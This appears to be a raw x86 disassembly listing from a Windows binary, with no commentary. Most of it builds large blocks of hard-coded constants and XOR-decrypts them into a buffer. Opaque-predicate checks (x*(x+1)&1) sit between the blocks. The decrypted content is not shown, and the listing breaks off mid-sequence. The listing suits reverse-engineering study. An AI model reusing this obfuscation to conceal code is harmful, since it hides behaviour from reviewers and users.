mov ecx, 0x92f4eb3e
mov dword [esi + 0x294], ecx
mov dword [esi + 0x290], eax
mov eax, 0x25a8944a
mov ecx, 0x998fde1b
mov dword [esi + 0x29c], ecx
mov dword [esi + 0x298], eax
mov eax, 0x7f53e4cf
mov ecx, 0x76d6af64
mov dword [esi + 0x2a4], ecx
mov dword [esi + 0x2a0], eax
mov eax, 0xcb50ce64
mov ecx, 0x7be9c311
mov dword [esi + 0x2ac], ecx
mov dword [esi + 0x2a8], eax
mov eax, 0xdaa62de1
mov ecx, 0x9de72e82
mov dword [esi + 0x2b4], ecx
mov dword [esi + 0x2b0], eax
mov eax, 0xac970fae
mov ecx, 0xf3765ddf
mov dword [esi + 0x2bc], ecx
mov dword [esi + 0x2b8], eax
mov eax, 0x9fbf09b3
mov ecx, 0x6fc6d668
mov dword [esi + 0x2c4], ecx
mov dword [esi + 0x2c0], eax
mov eax, 0x2a2e1fb8
mov ecx, 0x1bd66a05
mov dword [esi + 0x2cc], ecx
mov dword [esi + 0x2c8], eax
mov eax, 0x3816d595
mov ecx, 0x8752ad46
mov dword [esi + 0x2d4], ecx
mov dword [esi + 0x2d0], eax
mov eax, 0xffe5b92
mov ecx, 0xa4779343
mov dword [esi + 0x2dc], ecx
mov dword [esi + 0x2d8], eax
mov eax, 0x6294237
mov ecx, 0x5932552c
mov dword [esi + 0x2e4], ecx
mov dword [esi + 0x2e0], eax
mov eax, 0x3fa6664c
mov ecx, 0xbcab8e79
mov dword [esi + 0x2ec], ecx
mov dword [esi + 0x2e8], eax
mov eax, 0x503aa789
mov ecx, 0x8042d44a
mov dword [esi + 0x2f4], ecx
mov dword [esi + 0x2f0], eax
mov eax, 0x9e924696
mov ecx, 0x2ac0a87
mov dword [esi + 0x2fc], ecx
mov dword [esi + 0x2f8], eax
mov eax, 0x265b649b
mov ecx, 0xf6409d90
mov dword [esi + 0x304], ecx
mov dword [esi + 0x300], eax
mov eax, 0x2e0c82e0
mov ecx, 0xe06dbf0d
mov dword [esi + 0x30c], ecx
mov dword [esi + 0x308], eax
mov eax, 0x5c0e35fd
mov ecx, 0x23960c6e
mov dword [esi + 0x314], ecx
mov dword [esi + 0x310], eax
mov eax, 0xd25eafda
mov ecx, 0xfc864bcb
mov dword [esi + 0x31c], ecx
mov dword [esi + 0x318], eax
mov eax, 0xbb196df
mov ecx, 0x2a5ac114
mov dword [esi + 0x324], ecx
mov dword [esi + 0x320], eax
mov eax, 0xdc1e6c74
mov ecx, 0x2e30a041
mov dword [esi + 0x32c], ecx
mov dword [esi + 0x328], eax
mov eax, 0xbd5682f1
mov ecx, 0xc387b132
mov dword [esi + 0x334], ecx
mov dword [esi + 0x330], eax
mov eax, 0xad88303e
mov ecx, 0x98c5850f
mov dword [esi + 0x33c], ecx
mov dword [esi + 0x338], eax
mov eax, 0xc55620c3
mov ecx, 0xe90b3a98
mov dword [esi + 0x344], ecx
mov dword [esi + 0x340], eax
mov eax, 0x6a493848
mov ecx, 0x951ace35
mov dword [esi + 0x34c], ecx
mov dword [esi + 0x348], eax
mov eax, 0xe864a325
mov ecx, 0x644807f6
mov dword [esi + 0x354], ecx
mov dword [esi + 0x350], eax
mov eax, 0xd4e455a2
mov ecx, 0x57fba4f3
mov dword [esi + 0x35c], ecx
mov dword [esi + 0x358], eax
mov eax, 0xe7cc6fc7
mov ecx, 0xe861f3dc
mov dword [esi + 0x364], ecx
mov dword [esi + 0x360], eax
mov eax, 0x9db2465c
mov ecx, 0x92fba1a9
mov dword [esi + 0x36c], ecx
mov dword [esi + 0x368], eax
mov eax, 0x3219e999
mov ecx, 0x48a939fa
mov dword [esi + 0x374], ecx
mov dword [esi + 0x370], eax
mov eax, 0x36a77ba6
mov ecx, 0x284c8d37
mov dword [esi + 0x37c], ecx
mov dword [esi + 0x378], eax
mov eax, 0xdc6b54ab
mov ecx, 0xd3837740
mov dword [esi + 0x384], ecx
mov dword [esi + 0x380], eax
mov eax, 0xb5f05b70
mov ecx, 0xce1a8f3d
mov dword [esi + 0x38c], ecx
mov dword [esi + 0x388], eax
mov eax, 0x9626170d
mov ecx, 0xd8e61e
mov dword [esi + 0x394], ecx
mov dword [esi + 0x390], eax
mov eax, 0xc125896a
mov ecx, 0x2226ce7b
mov dword [esi + 0x39c], ecx
mov dword [esi + 0x398], eax
mov eax, 0x1c01dfef
mov ecx, 0x369f8a44
mov dword [esi + 0x3a4], ecx
mov dword [esi + 0x3a0], eax
mov eax, 0x39e22184
mov ecx, 0xb7379f1
mov dword [esi + 0x3ac], ecx
mov dword [esi + 0x3a8], eax
mov eax, 0x20b7da01
mov ecx, 0xf420ed62
mov dword [esi + 0x3b4], ecx
mov dword [esi + 0x3b0], eax
mov eax, 0xf95f98ce
mov ecx, 0xe914853f
mov dword [esi + 0x3bc], ecx
mov dword [esi + 0x3b8], eax
mov eax, 0x6ef5fed3
mov ecx, 0x4c01a848
mov dword [esi + 0x3c4], ecx
mov dword [esi + 0x3c0], eax
mov eax, 0x1f9ca9d8
mov ecx, 0x38df41e5
mov dword [esi + 0x3cc], ecx
mov dword [esi + 0x3c8], eax
mov eax, 0x4f2c47b5
mov ecx, 0x58e79ea6
mov dword [esi + 0x3d4], ecx
mov dword [esi + 0x3d0], eax
mov eax, 0x71785632
mov ecx, 0xa84aa523
mov dword [esi + 0x3dc], ecx
mov dword [esi + 0x3d8], eax
mov eax, 0x990827d7
mov ecx, 0xb0c8598c
mov dword [esi + 0x3e4], ecx
mov dword [esi + 0x3e0], eax
mov eax, 0xa79fadec
mov ecx, 0xc4d21259
mov dword [esi + 0x3ec], ecx
mov dword [esi + 0x3e8], eax
mov eax, 0x9faf9529
mov ecx, 0x6e49bcaa
mov dword [esi + 0x3f4], ecx
mov dword [esi + 0x3f0], eax
mov eax, 0x5b8b54b6
mov ecx, 0x9a014e67
mov dword [esi + 0x3fc], ecx
mov dword [esi + 0x3f8], eax
mov eax, 0x4069593b
mov ecx, 0x64249870
mov dword [esi + 0x404], ecx
mov dword [esi + 0x400], eax
mov eax, 0x38324a80
mov ecx, 0xd4054ded
mov dword [esi + 0x40c], ecx
mov dword [esi + 0x408], eax
mov eax, 0x196ae99d
mov ecx, 0x63cf53ce
mov dword [esi + 0x414], ecx
mov dword [esi + 0x410], eax
mov eax, 0xdbe5347a
mov ecx, 0x7a0b59ab
mov dword [esi + 0x41c], ecx
mov dword [esi + 0x418], eax
mov eax, 0x7379f9ff
mov ecx, 0xa08674
mov dword [esi + 0x424], ecx
mov dword [esi + 0x420], eax
mov eax, 0x734b7a14
mov ecx, 0xc82f4121
mov dword [esi + 0x42c], ecx
mov dword [esi + 0x428], eax
mov eax, 0xe0a6e691
mov ecx, 0x60e7cc92
mov dword [esi + 0x434], ecx
mov dword [esi + 0x430], eax
mov eax, 0x7e50835e
mov ecx, 0x3fbbdbef
mov dword [esi + 0x43c], ecx
mov dword [esi + 0x438], eax
mov eax, 0xf0728fe3
mov ecx, 0xe501b878
mov dword [esi + 0x444], ecx
mov dword [esi + 0x440], eax
mov eax, 0x8e3f9de8
mov ecx, 0x8f869895
mov dword [esi + 0x44c], ecx
mov dword [esi + 0x448], eax
mov eax, 0x44d56545
mov ecx, 0x603e85d6
mov dword [esi + 0x454], ecx
mov dword [esi + 0x450], eax
mov eax, 0xc9e6ac2
mov ecx, 0x400d80d3
mov dword [esi + 0x45c], ecx
mov dword [esi + 0x458], eax
mov eax, 0xdfcb9167
mov ecx, 0x85c20f3c
mov dword [esi + 0x464], ecx
mov dword [esi + 0x460], eax
mov eax, 0xb87730fc
mov ecx, 0x46756589
mov dword [esi + 0x46c], ecx
mov dword [esi + 0x468], eax
mov eax, 0xee4dde39
mov ecx, 0x1eeeff5a
mov dword [esi + 0x474], ecx
mov dword [esi + 0x470], eax
mov eax, 0x45fc5146
mov ecx, 0xa2956a17
mov dword [esi + 0x47c], ecx
mov dword [esi + 0x478], eax
mov eax, 0x30714f4b
mov ecx, 0xe57a6ca0
mov dword [esi + 0x484], ecx
mov dword [esi + 0x480], eax
mov eax, 0x91677690
mov ecx, 0x55a8a11d
mov dword [esi + 0x48c], ecx
mov dword [esi + 0x488], eax
mov eax, 0xad700f2d
mov ecx, 0xe52527fe
mov dword [esi + 0x494], ecx
mov dword [esi + 0x490], eax
mov eax, 0x2d023e8a
mov ecx, 0xebc01adb
mov dword [esi + 0x49c], ecx
mov dword [esi + 0x498], eax
mov eax, 0x86ad8f0f
mov ecx, 0xc906ec24
mov dword [esi + 0x4a4], ecx
mov dword [esi + 0x4a0], eax
mov eax, 0xd2aa78a4
mov ecx, 0xce19ffd1
mov dword [esi + 0x4ac], ecx
mov dword [esi + 0x4a8], eax
mov eax, 0xe1ffd821
mov ecx, 0xf0176b42
mov dword [esi + 0x4b4], ecx
mov dword [esi + 0x4b0], eax
mov eax, 0xb3f0b9ee
mov ecx, 0x45a69a9f
mov dword [esi + 0x4bc], ecx
mov dword [esi + 0x4b8], eax
lea eax, [esi + 0x40]
xor ecx, ecx
movaps xmm0, xmmword [ebx]
movaps xmm1, xmmword [ebx + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [ebx], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [ebx + 0x10], xmm1
movaps xmm0, xmmword [ebx + 0x20]
xorps xmm0, xmmword [eax + 0x20]
movaps xmmword [ebx + 0x20], xmm0
movaps xmm0, xmmword [ebx + 0x30]
xorps xmm0, xmmword [eax + 0x30]
movaps xmmword [ebx + 0x30], xmm0
movaps xmm0, xmmword [ebx + 0x40]
xorps xmm0, xmmword [eax + 0x40]
movaps xmmword [ebx + 0x40], xmm0
movaps xmm0, xmmword [ebx + 0x50]
xorps xmm0, xmmword [eax + 0x50]
movaps xmmword [ebx + 0x50], xmm0
movaps xmm0, xmmword [ebx + 0x60]
xorps xmm0, xmmword [eax + 0x60]
movaps xmmword [ebx + 0x60], xmm0
movaps xmm0, xmmword [ebx + 0x70]
xorps xmm0, xmmword [eax + 0x70]
movaps xmmword [ebx + 0x70], xmm0
movaps xmm0, xmmword [ebx + 0x80]
xorps xmm0, xmmword [eax + 0x80]
movaps xmmword [ebx + 0x80], xmm0
movaps xmm0, xmmword [ebx + 0x90]
xorps xmm0, xmmword [eax + 0x90]
movaps xmmword [ebx + 0x90], xmm0
movaps xmm0, xmmword [ebx + 0xa0]
xorps xmm0, xmmword [eax + 0xa0]
movaps xmmword [ebx + 0xa0], xmm0
movaps xmm0, xmmword [ebx + 0xb0]
xorps xmm0, xmmword [eax + 0xb0]
movaps xmmword [ebx + 0xb0], xmm0
movaps xmm0, xmmword [ebx + 0xc0]
xorps xmm0, xmmword [eax + 0xc0]
movaps xmmword [ebx + 0xc0], xmm0
movaps xmm0, xmmword [ebx + 0xd0]
xorps xmm0, xmmword [eax + 0xd0]
movaps xmmword [ebx + 0xd0], xmm0
movaps xmm0, xmmword [ebx + 0xe0]
xorps xmm0, xmmword [eax + 0xe0]
movaps xmmword [ebx + 0xe0], xmm0
movaps xmm0, xmmword [ebx + 0xf0]
xorps xmm0, xmmword [eax + 0xf0]
movaps xmmword [ebx + 0xf0], xmm0
movaps xmm0, xmmword [ebx + 0x100]
xorps xmm0, xmmword [eax + 0x100]
movaps xmmword [ebx + 0x100], xmm0
movaps xmm0, xmmword [ebx + 0x110]
xorps xmm0, xmmword [eax + 0x110]
movaps xmmword [ebx + 0x110], xmm0
movaps xmm0, xmmword [ebx + 0x120]
xorps xmm0, xmmword [eax + 0x120]
movaps xmmword [ebx + 0x120], xmm0
movaps xmm0, xmmword [ebx + 0x130]
xorps xmm0, xmmword [eax + 0x130]
movaps xmmword [ebx + 0x130], xmm0
movaps xmm0, xmmword [ebx + 0x140]
xorps xmm0, xmmword [eax + 0x140]
movaps xmmword [ebx + 0x140], xmm0
movaps xmm0, xmmword [ebx + 0x150]
xorps xmm0, xmmword [eax + 0x150]
movaps xmmword [ebx + 0x150], xmm0
movaps xmm0, xmmword [ebx + 0x160]
xorps xmm0, xmmword [eax + 0x160]
movaps xmmword [ebx + 0x160], xmm0
movaps xmm0, xmmword [ebx + 0x170]
xorps xmm0, xmmword [eax + 0x170]
movaps xmmword [ebx + 0x170], xmm0
movaps xmm0, xmmword [ebx + 0x180]
xorps xmm0, xmmword [eax + 0x180]
movaps xmmword [ebx + 0x180], xmm0
movaps xmm0, xmmword [ebx + 0x190]
xorps xmm0, xmmword [eax + 0x190]
movaps xmmword [ebx + 0x190], xmm0
movaps xmm0, xmmword [ebx + 0x1a0]
xorps xmm0, xmmword [eax + 0x1a0]
movaps xmmword [ebx + 0x1a0], xmm0
movaps xmm0, xmmword [ebx + 0x1b0]
xorps xmm0, xmmword [eax + 0x1b0]
movaps xmmword [ebx + 0x1b0], xmm0
movaps xmm0, xmmword [ebx + 0x1c0]
xorps xmm0, xmmword [eax + 0x1c0]
movaps xmmword [ebx + 0x1c0], xmm0
movaps xmm0, xmmword [ebx + 0x1d0]
xorps xmm0, xmmword [eax + 0x1d0]
movaps xmmword [ebx + 0x1d0], xmm0
movaps xmm0, xmmword [ebx + 0x1e0]
xorps xmm0, xmmword [eax + 0x1e0]
movaps xmmword [ebx + 0x1e0], xmm0
movaps xmm0, xmmword [ebx + 0x1f0]
xorps xmm0, xmmword [eax + 0x1f0]
movaps xmmword [ebx + 0x1f0], xmm0
movaps xmm0, xmmword [ebx + 0x200]
xorps xmm0, xmmword [eax + 0x200]
movaps xmmword [ebx + 0x200], xmm0
movaps xmm0, xmmword [ebx + 0x210]
xorps xmm0, xmmword [eax + 0x210]
movaps xmmword [ebx + 0x210], xmm0
movaps xmm0, xmmword [ebx + 0x220]
xorps xmm0, xmmword [eax + 0x220]
movaps xmmword [ebx + 0x220], xmm0
movaps xmm0, xmmword [ebx + 0x230]
xorps xmm0, xmmword [eax + 0x230]
movaps xmmword [ebx + 0x230], xmm0
movaps xmm0, xmmword [ebx + 0x240]
xorps xmm0, xmmword [eax + 0x240]
movaps xmmword [ebx + 0x240], xmm0
movaps xmm0, xmmword [ebx + 0x250]
xorps xmm0, xmmword [eax + 0x250]
movaps xmmword [ebx + 0x250], xmm0
movaps xmm0, xmmword [ebx + 0x260]
xorps xmm0, xmmword [eax + 0x260]
movaps xmmword [ebx + 0x260], xmm0
movaps xmm0, xmmword [ebx + 0x270]
xorps xmm0, xmmword [eax + 0x270]
movaps xmmword [ebx + 0x270], xmm0
movaps xmm0, xmmword [ebx + 0x280]
xorps xmm0, xmmword [eax + 0x280]
movaps xmmword [ebx + 0x280], xmm0
movaps xmm0, xmmword [ebx + 0x290]
xorps xmm0, xmmword [eax + 0x290]
movaps xmmword [ebx + 0x290], xmm0
movaps xmm0, xmmword [ebx + 0x2a0]
xorps xmm0, xmmword [eax + 0x2a0]
movaps xmmword [ebx + 0x2a0], xmm0
movaps xmm0, xmmword [ebx + 0x2b0]
xorps xmm0, xmmword [eax + 0x2b0]
movaps xmmword [ebx + 0x2b0], xmm0
movaps xmm0, xmmword [ebx + 0x2c0]
xorps xmm0, xmmword [eax + 0x2c0]
movaps xmmword [ebx + 0x2c0], xmm0
movaps xmm0, xmmword [ebx + 0x2d0]
xorps xmm0, xmmword [eax + 0x2d0]
movaps xmmword [ebx + 0x2d0], xmm0
movaps xmm0, xmmword [ebx + 0x2e0]
xorps xmm0, xmmword [eax + 0x2e0]
movaps xmmword [ebx + 0x2e0], xmm0
movaps xmm0, xmmword [ebx + 0x2f0]
xorps xmm0, xmmword [eax + 0x2f0]
movaps xmmword [ebx + 0x2f0], xmm0
movaps xmm0, xmmword [ebx + 0x300]
xorps xmm0, xmmword [eax + 0x300]
movaps xmmword [ebx + 0x300], xmm0
movaps xmm0, xmmword [ebx + 0x310]
xorps xmm0, xmmword [eax + 0x310]
movaps xmmword [ebx + 0x310], xmm0
movaps xmm0, xmmword [ebx + 0x320]
xorps xmm0, xmmword [eax + 0x320]
movaps xmmword [ebx + 0x320], xmm0
movaps xmm0, xmmword [ebx + 0x330]
xorps xmm0, xmmword [eax + 0x330]
movaps xmmword [ebx + 0x330], xmm0
movaps xmm0, xmmword [ebx + 0x340]
xorps xmm0, xmmword [eax + 0x340]
movaps xmmword [ebx + 0x340], xmm0
movaps xmm0, xmmword [ebx + 0x350]
xorps xmm0, xmmword [eax + 0x350]
movaps xmmword [ebx + 0x350], xmm0
movaps xmm0, xmmword [ebx + 0x360]
xorps xmm0, xmmword [eax + 0x360]
movaps xmmword [ebx + 0x360], xmm0
movaps xmm0, xmmword [ebx + 0x370]
xorps xmm0, xmmword [eax + 0x370]
movaps xmmword [ebx + 0x370], xmm0
movaps xmm0, xmmword [ebx + 0x380]
xorps xmm0, xmmword [eax + 0x380]
movaps xmmword [ebx + 0x380], xmm0
movaps xmm0, xmmword [ebx + 0x390]
xorps xmm0, xmmword [eax + 0x390]
movaps xmmword [ebx + 0x390], xmm0
movaps xmm0, xmmword [ebx + 0x3a0]
xorps xmm0, xmmword [eax + 0x3a0]
movaps xmmword [ebx + 0x3a0], xmm0
movaps xmm0, xmmword [ebx + 0x3b0]
xorps xmm0, xmmword [eax + 0x3b0]
movaps xmmword [ebx + 0x3b0], xmm0
movaps xmm0, xmmword [ebx + 0x3c0]
xorps xmm0, xmmword [eax + 0x3c0]
movaps xmmword [ebx + 0x3c0], xmm0
movaps xmm0, xmmword [ebx + 0x3d0]
xorps xmm0, xmmword [eax + 0x3d0]
movaps xmmword [ebx + 0x3d0], xmm0
movaps xmm0, xmmword [ebx + 0x3e0]
xorps xmm0, xmmword [eax + 0x3e0]
movaps xmmword [ebx + 0x3e0], xmm0
movaps xmm0, xmmword [ebx + 0x3f0]
xorps xmm0, xmmword [eax + 0x3f0]
movaps xmmword [ebx + 0x3f0], xmm0
movaps xmm0, xmmword [ebx + 0x400]
xorps xmm0, xmmword [eax + 0x400]
movaps xmmword [ebx + 0x400], xmm0
movaps xmm0, xmmword [ebx + 0x410]
xorps xmm0, xmmword [eax + 0x410]
movaps xmmword [ebx + 0x410], xmm0
movaps xmm0, xmmword [ebx + 0x420]
xorps xmm0, xmmword [eax + 0x420]
movaps xmmword [ebx + 0x420], xmm0
movaps xmm0, xmmword [ebx + 0x430]
xorps xmm0, xmmword [eax + 0x430]
movaps xmmword [ebx + 0x430], xmm0
movaps xmm0, xmmword [ebx + 0x440]
xorps xmm0, xmmword [eax + 0x440]
movaps xmmword [ebx + 0x440], xmm0
movaps xmm0, xmmword [ebx + 0x450]
xorps xmm0, xmmword [eax + 0x450]
movaps xmmword [ebx + 0x450], xmm0
movaps xmm0, xmmword [ebx + 0x460]
xorps xmm0, xmmword [eax + 0x460]
movaps xmmword [ebx + 0x460], xmm0
movaps xmm0, xmmword [ebx + 0x470]
xorps xmm0, xmmword [eax + 0x470]
movaps xmmword [ebx + 0x470], xmm0
push 0x480
call fcn.0040ec72
add esp, 4
mov edi, eax
push 0x47c
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + 0x47c], 0
cmp dword [0x42f258], 0xa
jl 0x40c10d
mov eax, dword [0x42f25c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40e160
mov eax, 0x8dfe4f2d
mov ecx, 0x21c25194
mov edx, dword [esi + 0x1c]
mov dword [edx + 4], ecx
mov dword [edx], eax
mov eax, 0x16da2c1c
mov ecx, 0x8a536b67
mov dword [edx + 0xc], ecx
mov dword [edx + 8], eax
mov eax, 0x5b475da9
mov ecx, 0xbba77e39
mov dword [edx + 0x14], ecx
mov dword [edx + 0x10], eax
mov eax, dword [esi + 0x20]
mov dword [esi + 0x44], eax
mov eax, dword [esi + 0x24]
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x38]
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 0x3c]
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0xdb8]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0xdbc]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0xdb4]
mov dword [edx + 0x18], eax
mov ecx, dword [esi + 0xdb0]
mov dword [edx + 0x1c], ecx
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x58], eax
lea eax, [esi + 0x40]
xor ecx, ecx
movaps xmm0, xmmword [edx]
xorps xmm0, xmmword [eax]
movaps xmm1, xmmword [edx + 0x10]
movaps xmmword [edx], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [edx + 0x10], xmm1
cmp dword [0x42f248], 0xa
jl 0x40c1b8
mov eax, dword [0x42f24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x4081e0
push eax
sub esp, 0x14
mov edx, esp
sub esp, 0x480
mov ebx, esp
and ebx, 0xfffffff0
mov esp, ebx
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0x20
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x20], eax
mov esp, eax
mov eax, 0xe130d39f
mov ecx, 0x71c13ef8
mov dword [ebx + 4], ecx
mov dword [ebx], eax
mov eax, 0x1b69c0ba
mov ecx, 0x60164d9e
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], eax
mov eax, 0x64a91c97
mov ecx, 0xf1690342
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x10], eax
mov eax, 0x76142764
mov ecx, 0x5b9c2f21
mov dword [ebx + 0x1c], ecx
mov dword [ebx + 0x18], eax
mov eax, 0xad79004b
mov ecx, 0x2041b9be
mov dword [ebx + 0x24], ecx
mov dword [ebx + 0x20], eax
mov eax, 0x6ec2d1b3
mov ecx, 0xf0fb9940
mov dword [ebx + 0x2c], ecx
mov dword [ebx + 0x28], eax
mov eax, 0xcfc802ee
mov ecx, 0x7bb2c751
mov dword [ebx + 0x34], ecx
mov dword [ebx + 0x30], eax
mov eax, 0x4f087716
mov ecx, 0xb2403012
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x38], eax
mov eax, 0x69362aca
mov ecx, 0x1992a338
mov dword [ebx + 0x44], ecx
mov dword [ebx + 0x40], eax
mov eax, 0x7672330
mov ecx, 0xf8745354
mov dword [ebx + 0x4c], ecx
mov dword [ebx + 0x48], eax
mov eax, 0xaa37459c
mov ecx, 0x7112aff5
mov dword [ebx + 0x54], ecx
mov dword [ebx + 0x50], eax
mov eax, 0xd18f46ca
mov ecx, 0x7f98a056
mov dword [ebx + 0x5c], ecx
mov dword [ebx + 0x58], eax
mov eax, 0x740e4f6f
mov ecx, 0x599d8ad9
mov dword [ebx + 0x64], ecx
mov dword [ebx + 0x60], eax
mov eax, 0x9b175100
mov ecx, 0x289ddeda
mov dword [ebx + 0x6c], ecx
mov dword [ebx + 0x68], eax
mov eax, 0xdfc7e572
mov ecx, 0x57ee7a89
mov dword [ebx + 0x74], ecx
mov dword [ebx + 0x70], eax
mov eax, 0xa1b6b66f
mov ecx, 0x28962094
mov dword [ebx + 0x7c], ecx
mov dword [ebx + 0x78], eax
mov eax, 0xc3417b37
mov ecx, 0x47cff8f3
mov dword [ebx + 0x84], ecx
mov dword [ebx + 0x80], eax
mov eax, 0x7a348a29
mov ecx, 0xdb2d771a
mov dword [ebx + 0x8c], ecx
mov dword [ebx + 0x88], eax
mov eax, 0xcf42abbc
mov ecx, 0x414a2d79
mov dword [ebx + 0x94], ecx
mov dword [ebx + 0x90], eax
mov eax, 0x60a4c126
mov ecx, 0x3a293ff4
mov dword [ebx + 0x9c], ecx
mov dword [ebx + 0x98], eax
mov eax, 0x8983ffa3
mov ecx, 0xd2fd1f4a
mov dword [ebx + 0xa4], ecx
mov dword [ebx + 0xa0], eax
mov eax, 0xa7fc864
mov ecx, 0x181839b9
mov dword [ebx + 0xac], ecx
mov dword [ebx + 0xa8], eax
mov eax, 0x20b48d30
mov ecx, 0x2934e0c6
mov dword [ebx + 0xb4], ecx
mov dword [ebx + 0xb0], eax
mov eax, 0x4c0949a9
mov ecx, 0xe3289e94
mov dword [ebx + 0xbc], ecx
mov dword [ebx + 0xb8], eax
mov eax, 0x5d208
mov ecx, 0x71efdb4d
mov dword [ebx + 0xc4], ecx
mov dword [ebx + 0xc0], eax
mov eax, 0x7ada8bf0
mov ecx, 0x663d825c
mov dword [ebx + 0xcc], ecx
mov dword [ebx + 0xc8], eax
mov eax, 0x54b4883e
mov ecx, 0xd111cfc6
mov dword [ebx + 0xd4], ecx
mov dword [ebx + 0xd0], eax
mov eax, 0xcb7505ee
mov ecx, 0xaa6c0f78
mov dword [ebx + 0xdc], ecx
mov dword [ebx + 0xd8], eax
mov eax, 0x478ecb0
mov ecx, 0xd84e8430
mov dword [ebx + 0xe4], ecx
mov dword [ebx + 0xe0], eax
mov eax, 0xd4b7c24d
mov ecx, 0xdc6c63af
mov dword [ebx + 0xec], ecx
mov dword [ebx + 0xe8], eax
mov eax, 0xb58ad8de
mov ecx, 0x716d7417
mov dword [ebx + 0xf4], ecx
mov dword [ebx + 0xf0], eax
mov eax, 0xa61a85ca
mov ecx, 0x46a1487b
mov dword [ebx + 0xfc], ecx
mov dword [ebx + 0xf8], eax
mov eax, 0xbd9176ac
mov ecx, 0x96b9fd80
mov dword [ebx + 0x104], ecx
mov dword [ebx + 0x100], eax
mov eax, 0x62be8e5f
mov ecx, 0x42c7912d
mov dword [ebx + 0x10c], ecx
mov dword [ebx + 0x108], eax
mov eax, 0xe15ef889
mov ecx, 0x126fcb5b
mov dword [ebx + 0x114], ecx
mov dword [ebx + 0x110], eax
mov eax, 0xcdd5ab3b
mov ecx, 0x5a56875
mov dword [ebx + 0x11c], ecx
mov dword [ebx + 0x118], eax
mov eax, 0xe022c5be
mov ecx, 0x9659b74e
mov dword [ebx + 0x124], ecx
mov dword [ebx + 0x120], eax
mov eax, 0x96609c74
mov ecx, 0x40fd64a8
mov dword [ebx + 0x12c], ecx
mov dword [ebx + 0x128], eax
mov eax, 0x2a893f34
mov ecx, 0xf601fd52
mov dword [ebx + 0x134], ecx
mov dword [ebx + 0x130], eax
mov eax, 0x2f79d150
mov ecx, 0xd6685046
mov dword [ebx + 0x13c], ecx
mov dword [ebx + 0x138], eax
mov eax, 0xd579aa59
mov ecx, 0x81623af5
mov dword [ebx + 0x144], ecx
mov dword [ebx + 0x140], eax
mov eax, 0xaeccb109
mov ecx, 0x7bb05244
mov dword [ebx + 0x14c], ecx
mov dword [ebx + 0x148], eax
mov eax, 0x8ebf6c9c
mov ecx, 0xaec1a96a
mov dword [ebx + 0x154], ecx
mov dword [ebx + 0x150], eax
mov eax, 0xb9f9df50
mov ecx, 0xcf9b91f6
mov dword [ebx + 0x15c], ecx
mov dword [ebx + 0x158], eax
mov eax, 0x14fb35eb
mov ecx, 0xe4274dea
mov dword [ebx + 0x164], ecx
mov dword [ebx + 0x160], eax
mov eax, 0x32bf7716
mov ecx, 0xb92c3d07
mov dword [ebx + 0x16c], ecx
mov dword [ebx + 0x168], eax
mov eax, 0x193f2fec
mov ecx, 0xa1b5b0d7
mov dword [ebx + 0x174], ecx
mov dword [ebx + 0x170], eax
mov eax, 0xf228eec9
mov ecx, 0x96ac4828
mov dword [ebx + 0x17c], ecx
mov dword [ebx + 0x178], eax
mov eax, 0x67da54f1
mov ecx, 0xf9e46bc0
mov dword [ebx + 0x184], ecx
mov dword [ebx + 0x180], eax
mov eax, 0x182effaf
mov ecx, 0xe6c8057f
mov dword [ebx + 0x18c], ecx
mov dword [ebx + 0x188], eax
mov eax, 0x47b19d36
mov ecx, 0x6c061bf
mov dword [ebx + 0x194], ecx
mov dword [ebx + 0x190], eax
mov eax, 0x6a64ab9c
mov ecx, 0x5629682d
mov dword [ebx + 0x19c], ecx
mov dword [ebx + 0x198], eax
mov eax, 0x91c17ddc
mov ecx, 0x5eae1cbb
mov dword [ebx + 0x1a4], ecx
mov dword [ebx + 0x1a0], eax
mov eax, 0xa07703f6
mov ecx, 0x72f0d5c3
mov dword [ebx + 0x1ac], ecx
mov dword [ebx + 0x1a8], eax
mov eax, 0x980cea91
mov ecx, 0x1c207f9e
mov dword [ebx + 0x1b4], ecx
mov dword [ebx + 0x1b0], eax
mov eax, 0x545caa1d
mov ecx, 0x47b411c3
mov dword [ebx + 0x1bc], ecx
mov dword [ebx + 0x1b8], eax
mov eax, 0x396dae82
mov ecx, 0x11865bfa
mov dword [ebx + 0x1c4], ecx
mov dword [ebx + 0x1c0], eax
mov eax, 0x30b0a00e
mov ecx, 0x81ac114f
mov dword [ebx + 0x1cc], ecx
mov dword [ebx + 0x1c8], eax
mov eax, 0x12463f6d
mov ecx, 0x11d6174f
mov dword [ebx + 0x1d4], ecx
mov dword [ebx + 0x1d0], eax
mov eax, 0xd4e18a0f
mov ecx, 0x27be1c99
mov dword [ebx + 0x1dc], ecx
mov dword [ebx + 0x1d8], eax
mov eax, 0x6c6c4ffc
mov ecx, 0xae2549f3
mov dword [ebx + 0x1e4], ecx
mov dword [ebx + 0x1e0], eax
mov eax, 0x6b95cf82
mov ecx, 0x758f0432
mov dword [ebx + 0x1ec], ecx
mov dword [ebx + 0x1e8], eax
mov eax, 0xd93f3c22
mov ecx, 0xec48fb4
mov dword [ebx + 0x1f4], ecx
mov dword [ebx + 0x1f0], eax
mov eax, 0x76a7d96c
mov ecx, 0xedd89f48
mov dword [ebx + 0x1fc], ecx
mov dword [ebx + 0x1f8], eax
mov eax, 0xe97de5f9
mov ecx, 0x92827bc8
mov dword [ebx + 0x204], ecx
mov dword [ebx + 0x200], eax
mov eax, 0x86bdf39a
mov ecx, 0x3d265b90
mov dword [ebx + 0x20c], ecx
mov dword [ebx + 0x208], eax
mov eax, 0x3d0abb6b
mov ecx, 0xe7d4945
mov dword [ebx + 0x214], ecx
mov dword [ebx + 0x210], eax
mov eax, 0x512c0c1
mov ecx, 0xed894443
